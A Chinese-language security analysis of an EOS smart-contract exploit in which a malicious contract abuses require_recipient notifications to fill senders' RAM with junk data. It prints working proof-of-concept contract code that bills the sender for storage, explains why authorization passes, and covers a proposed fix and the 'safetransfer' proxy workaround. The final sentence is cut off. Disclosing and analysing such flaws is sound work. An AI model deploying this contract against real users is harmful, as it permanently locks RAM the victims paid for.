为了避免资源滥用, EOS要求用户购买一种稀缺的存储资源——RAM,来部署合约和运行DApp。
最近,开发者发现攻击者能制造利用require_recipient 事件通知函数的恶意合约。require_recipient 事件通知函数的作用是允许一个合约通知另一个合约相关的重要事项(例如,一次代币转入)。
恶意合约利用这个特性将垃圾数据填入用户的RAM中,来永久冻结RAM并且阻碍受害者正常使用或者对外售出RAM。
这种漏洞利用能同时影响普通用户和特定的智能合约,但是需要注意的是,只有在这些用户和合约向恶意合约转账后才会受到威胁。
漏洞分析
在DAPP 的开发过程中, 为了获取转账信息, 一种方法是采用require_recipient来订阅转账通知, 原理是这样的:
在系统合约eosio.token 的transfer 中, 转账时会分别通知from 和 to; 假设to账号为自己开发了一个恶意合约如下,那么在被通知的时候下面代码就会被调用,该函数做的就是消耗from账号的ram
void transfer(account_name from, account_name to, asset quantity, std::string memo)
{
if (from == _self || to != _self) {
return;
}
for (int i = 0; i < 100; i++) {
// use from as payer!!
_teams.emplace(from, [&](auto &t) {
t.id = _teams.available_primary_key();
t.name = from;
t.total = quantity;
t.big_dummy_str = std::string("wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww");
});
}
return;
}
extern "C" { \
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
auto self = receiver; \
if( action == N(onerror)) { \
/* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \
eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \
} \
if ((code == self || action == N(onerror)) || (code == N(eosio.token) && action == N(transfer)) ) { \
TYPE thiscontract( self ); \
switch( action ) { \
EOSIO_API( TYPE, MEMBERS ) \
} \
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
} \
} \
} \
因为上述to::transfer 这个handler 是被eosio.token::transfer 中的require_recipient 触发的,并且在同一个action中执行,action已经被from授权所以下面的操作会顺利进行
void apply_context::update_db_usage( const account_name& payer, int64_t delta ) {
if( delta > 0 ) {
if( !(privileged || payer == account_name(receiver)) ) {
require_authorization( payer );
}
}
trx_context.add_ram_usage(payer, delta);
}
void apply_context::require_authorization( const account_name& account ) {
for( uint32_t i=0; i < act.authorization.size(); i++ ) {
if( act.authorization[i].actor == account ) {
used_authorizations[i] = true;
return;
}
}
EOS_ASSERT( false, missing_auth_exception, "missing authority of ${account}", ("account",account));
}
解决方案
我们建议的修复办法是:在require_recipient触发action handler 执行时, 禁止被触发的handler 使用当前action 的授权。 被触发的 action handler 有存储要求怎么办? 可以使用inline actions 来解决, inline action 被执行时就不会用到原来action 的授权了。
尽管这个漏洞利用无法盗取用户资金,但是它能永久锁定RAM,而RAM是要用EOS代币购买的
EOS创造者Block.one的 CTO,以及 加密货币首席设计师 —— Dan Larimer在国外媒体Medium上谈到了这个问题,辩称这个问题应该被描述为“对于合理特性的滥用”,并将其称为“蓄意破坏”,而不是漏洞。
(原文章Medium链接:https://medium.com/eosio/preventing-unexpected-ram-consumption-8029a9342659)
他在文中提到,由于漏洞利用是利用“用户意图与真实代码效果之间的不对称”,而EOS网络中的区块制造者有权力根据EOS章程,在受影响用户与合约作者通过仲裁程序解决纠纷后,将这些恶意合约打入黑名单。正如他之前说过的:代码含义即法律。他还强调许多EOS钱包都会警告用户某一笔交易正在消耗RAM。
Larimer之后发起了一个专门为区块制造者制定的协议升级。如果这个升级被所有活跃的合约制造者采纳,它将防止require_recipient 事件通知函数意外消耗用户或者合约的RAM。
与此同时,一个EOSEssential的开发团队为担心丢失库存里RAM的用户创建了一种有效的迂回手段,尽管稍微有点复杂。
这个团队在GitHub上将解释了这个手段:EOS用户能通过一个没有RAM的代理账户发送代币,防止恶意合约消耗用户真实账户上的RAM。这种被称为“safetransfer”的代理合约会按照编写的代码,自动地向转账备忘录上第一个出现的词所代表的账户名称转入收到的代币。
比如说,如果我想向Block.one (他们手上只有100万EOS,可能还不大够)转账一些代币,我会将这些代币直接转入“safetransfer”,然后在转账备忘录上写上“b1”(他们公司的名字)作为备忘录上第一个词。
备忘录可能看起来会是这么个样子:
“b1 这里是一些代币,希望它们能解你燃眉之急”
虽然需要一些人为的操作,但是这个代理方式的优点是能兼容其他的代币类型。
另外,代理合约开发者建议用户在与DApp交互时不要尝试使用这个代理代币的方法,因为这会让应用以为它们在和代理合约,而不是真实的用户交互。但是由于目前几乎没有人在使用EOS的DApp,所以不大可能产生比较严重
参考:
https://bcsec.org/index/detail/id/293/tag/2
http://www.cocoachina.com/cms/wap.php?action=article&id=24425